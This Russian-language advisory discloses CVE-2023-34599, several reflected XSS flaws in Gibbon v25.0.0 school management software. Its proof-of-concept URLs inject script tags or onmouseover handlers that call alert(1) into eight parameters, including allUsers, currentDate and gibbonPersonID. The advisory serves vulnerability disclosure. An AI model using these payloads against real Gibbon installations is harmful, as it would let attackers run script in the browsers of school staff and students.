CVE-2023-34599

В Gibbon v25.0.0 обнаружено несколько уязвимостей межсайтового скриптинга (XSS), которые позволяют злоумышленникам выполнять произвольный JavaScript-код.

Подтверждение концепции

Параметр allUsers

http://gibbon.local/index.php?q=/modules/Timetable Admin/courseEnrolment_manage_byPerson_edit.php&gibbonPersonID=0000000001&gibbonSchoolYearID=025&type=Staff&allUsers=rcnk4'>lo352 http://gibbon.local/index.php?q=%2fmodules%2fTimetable%20Admin%2fcourseEnrolment_manage_byPerson_edit.php&gibbonPersonID=0000000001&gibbonSchoolYearID=025&type=Staff&allUsers=rcnk4%27%3e%3cscript%3ealert(1)%3c%2fscript%3elo352

Параметр currentDate

http://gibbon.local/index.php?q=/modules/Departments/department_course_class.php&gibbonCourseClassID=00002426&currentDate=ceb7h"onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"f74wd http://gibbon.local/index.php?q=%2fmodules%2fDepartments%2fdepartment_course_class.php&gibbonCourseClassID=00002426&currentDate=ceb7h%22onmouseover%3d%22alert(1)%22style%3d%22position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%22f74wd

Параметр gibbonCourseClassID

http://gibbon.local/index.php?q=/modules/Markbook/markbook_view.php&gibbonCourseClassID=00002425}}serbb'>aehos http://gibbon.local/index.php?q=%2Fmodules%2FMarkbook%2Fmarkbook_view.php&gibbonCourseClassID=00002425%7d%7dserbb%27%3e%3cscript%3ealert(1)%3c%2fscript%3eaehos

Параметр gibbonCourseClassID

http://gibbon.local/index.php?q=/modules/Departments/department_course_class.php&gibbonCourseClassID=00002426h6yng"onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"pm6bw&currentDate=05/22/2023 http://gibbon.local/index.php?q=%2fmodules%2fDepartments%2fdepartment_course_class.php&gibbonCourseClassID=00002426h6yng%22onmouseover%3d%22alert(1)%22style%3d%22position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%22pm6bw&currentDate=05%2f22%2f2023

Параметр gibbonPersonID

http://gibbon.local/index.php?q=/modules/Staff/staff_view_details.php&gibbonTTID=00000010&gibbonPersonID=0000000001ybibn'>jvqhopis0qf&search=&ttDate=05/23/2023&schoolCalendar=N&personalCalendar=N&spaceBookingCalendar=N&fromTT=Y http://gibbon.local/index.php?q=%2fmodules%2fStaff%2fstaff_view_details.php&gibbonTTID=00000010&gibbonPersonID=0000000001ybibn%27%3e%3cscript%3ealert(1)%3c%2fscript%3ejvqhopis0qf&search=&ttDate=05%2f23%2f2023&schoolCalendar=N&personalCalendar=N&spaceBookingCalendar=N&fromTT=Y

Параметр gibbonSchoolYearID

http://gibbon.local/index.php?q=/modules/Timetable Admin/courseEnrolment_manage_byPerson_edit.php&gibbonPersonID=0000000001&gibbonSchoolYearID=k9x9d'>y0uk8&type=Staff&allUsers= http://gibbon.local/index.php?q=%2fmodules%2fTimetable%20Admin%2fcourseEnrolment_manage_byPerson_edit.php&gibbonPersonID=0000000001&gibbonSchoolYearID=k9x9d%27%3e%3cscript%3ealert(1)%3c%2fscript%3ey0uk8&type=Staff&allUsers=

Параметр search

http://gibbon.local/index.php?q=/modules/Staff/staff_view_details.php&gibbonTTID=00000010&gibbonPersonID=0000000001&search=yyraq'>oq7c8fmwwro&ttDate=05/23/2023&schoolCalendar=N&personalCalendar=N&spaceBookingCalendar=N&fromTT=Y http://gibbon.local/index.php?q=%2fmodules%2fStaff%2fstaff_view_details.php&gibbonTTID=00000010&gibbonPersonID=0000000001&search=yyraq%27%3e%3cscript%3ealert(1)%3c%2fscript%3eoq7c8fmwwro&ttDate=05%2f23%2f2023&schoolCalendar=N&personalCalendar=N&spaceBookingCalendar=N&fromTT=Y

Параметр subpage

http://gibbon.local/index.php?q=/modules/Staff/staff_view_details.php&gibbonPersonID=0000000001&search=&allStaff=&subpage=Personalpy5eipkq71 http://gibbon.local/index.php?q=%2fmodules%2fStaff%2fstaff_view_details.php&gibbonPersonID=0000000001&search=&allStaff=&subpage=Personalpy5ei%3cscript%3ealert(1)%3c%2fscript%3epkq71

Информация о вендоре

Название: Gibbon URL: https://gibbonedu.org Репозиторий Github: https://github.com/GibbonEdu/core